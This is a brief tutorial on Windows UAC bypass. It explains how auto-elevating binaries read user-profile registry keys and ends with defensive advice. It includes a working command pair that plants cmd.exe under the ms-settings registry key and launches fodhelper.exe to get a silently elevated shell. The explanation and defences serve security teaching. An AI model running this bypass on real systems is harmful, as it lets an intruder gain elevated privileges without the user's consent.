UAC bypass: from admin to elevated

With UAC, an administrator runs at medium integrity by default; privileged actions require elevation (the prompt). Many system binaries auto-elevate without a prompt, and this is abused.

The classic techniques

Auto-elevate binaries (fodhelper, eventvwr, computerdefaults) read registry keys in the user profile. By planting a command there, the auto-elevation runs it at high integrity without a prompt.

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
start fodhelper.exe   # runs elevated cmd

Defence

UAC at maximum ("Always notify"). Do not use admin accounts for daily work (LUA). Monitor auto-elevate binaries and writes to known keys (ms-settings, Environment). EDR on bypass patterns.